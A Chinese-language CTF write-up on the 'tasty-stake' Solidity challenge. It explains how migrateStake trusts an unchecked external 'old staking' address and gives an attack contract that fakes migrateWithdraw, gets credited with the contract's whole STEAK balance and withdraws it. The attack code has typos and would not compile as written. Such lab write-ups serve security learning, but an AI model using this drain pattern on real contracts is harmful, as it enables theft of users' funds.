CTF-tasty-stake

题目源码点击

题目要求: 有个TastyStaking 合约,该合约允许您质押 STEAK 以种植 BUTTER 代币。您的任务是从质押合约中耗尽所有 STEAK 代币。

首先这个合约是个单合约,实现的功能的挺多的,阅读了很久,看了一下它的提示:所有输入都经过了适当的验证吗?

看来又是参数有问题,来到合约最后,migrateStake合约实现的代币质押的转移

function migrateStake(address oldStaking, uint256 amount) external {
TastyStaking(oldStaking).migrateWithdraw(msg.sender, amount);
_applyStake(msg.sender, amount);
}

但是关键来了。对于这个oldStaking,这个函数并没有有什么检查举动,回想前几天刚做的Safu Valut题,和它有点类似,都是没有对外部调用进行一个检查,那么这个题旧很好的解决了

攻击合约:

contract Attack { 
    address owner; 
    TastyStaking _tastyStaking; 
    Token stakingToken; 

    constructor(address _target, address _stakingToken)
       { 
        attacker = msg.sender;
         _tastyStaking = TastyStaking(_target); 
         stakingToken = Token(_stakingToken);
        } 

    function migrateWithdraw(address staker, uint256 amount) externa{ } 
    
    function pwn() external {
        //传入的攻击合约的地址,也就是旧地址,
         _tastyStaking.migrateStake(address(this), stakingToken.balanceOf(address(_tastyStaking)));
          _tastyStaking.withdrawAll(false);
          stakingToken.transfer(attacker, stakingToken.balanceOf(address(this))); 
         } 
}

这个逻辑就是,攻击合约伪装成旧抵押合约地址,取得TastyStaking合约的信任后,再执行的withdrawall函数

具体:攻击者伪装成旧合约地址调用TastyStaking合约中的migrateStake函数,然后TastyStaking合约接受到转移的信号,又去旧合约中调用migrateWithdraw函数,提取被转移的代币,但是攻击合约并没有实现migrateWithdraw函数的功能,而TastyStaking合约也没有进行验证,就误以为收到转移的代币,实际没有。这样攻击合约取得了信任,然后就调用TastyStaking合约中withdrawall函数,获得了TastyStaking合约中的所有代币。